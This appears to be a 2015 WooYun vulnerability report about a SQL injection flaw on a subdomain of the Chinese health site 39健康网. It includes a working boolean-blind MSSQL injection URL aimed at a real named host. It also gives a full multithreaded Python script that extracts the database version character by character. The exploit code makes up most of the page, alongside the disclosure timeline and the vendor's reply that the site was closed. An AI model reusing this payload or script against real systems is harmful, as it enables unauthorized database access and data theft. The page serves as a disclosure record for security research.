当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109721

漏洞标题:39健康网某处注入漏洞(mssql+waf+bool盲注附脚本)

相关厂商:39健康网

漏洞作者: netwind

提交时间:2015-04-22 17:18

修复时间:2015-06-07 09:06

公开时间:2015-06-07 09:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-22: 细节已通知厂商并且等待厂商处理中
2015-04-23: 厂商已经确认,细节仅向厂商公开
2015-05-03: 细节向核心白帽子及相关领域专家公开
2015-05-13: 细节向普通白帽子公开
2015-05-23: 细节向实习白帽子公开
2015-06-07: 细节向公众公开

简要描述:

39健康网某处注入漏洞(mssql+waf+bool盲注附脚本)

详细说明:

http://yyk.xcp.39.net/default/area/?city=sich'%2b(case%20when%20(ascii(substring(@@version,1,1))<255)%20then%20'uan'%20else%20'xxoo'%20end)%2b'
存在注入漏洞
验证脚本 多线程猜解脚本

#coding=utf-8
import sys,urllib2
import threading
from multiprocessing.dummy import Pool
from multiprocessing.dummy import Lock
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
def request(URL):
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko)
Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)

try:
request = urllib2.urlopen(req)

except HTTPError, e:
if e.code == 500:
return 'Runtime Error'

except URLError, e:
print('[!] We failed to reach a server.')
print('[!] Reason: ' + str(e.reason))
sys.exit(1)

return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if mid == left:
lock.acquire()
result[index-1]= chr(mid)
sys.stdout.write('\r%s' % '@@version: '+''.join(result))
sys.stdout.flush()
lock.release()
break
payload = "sich%%27%%2b(case%%20when%%20(ascii(substring(@@version,%s,1))<%s)%%20then%%20%%27uan%%27%%20else%%20%
%27xxoo%%27%%20end)%%2b%%27" % (index, mid)
html = request('http://yyk.xcp.39.net/default/area/?city='+payload)
verify = '四川省医院'.decode('utf-8').encode('gbk')
if verify in html:
right = mid
else:
left = mid
def multi_run_wrapper(args):
return binary_sqli(*args)

if __name__ == '__main__':
result=list('*'*50)
lock=Lock()
args = []
for i in range(1,50):
args.append((32, 127, i))
pool = Pool(20)
out = pool.map(multi_run_wrapper, args)
pool.close()
pool.join()


漏洞证明:

用脚本猜解数据如下:

1.png


修复方案:

过滤

版权声明:转载请注明来源 netwind@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2015-04-23 09:04

厂商回复:

废弃站点,已关闭

最新状态:

暂无


漏洞评价:

评论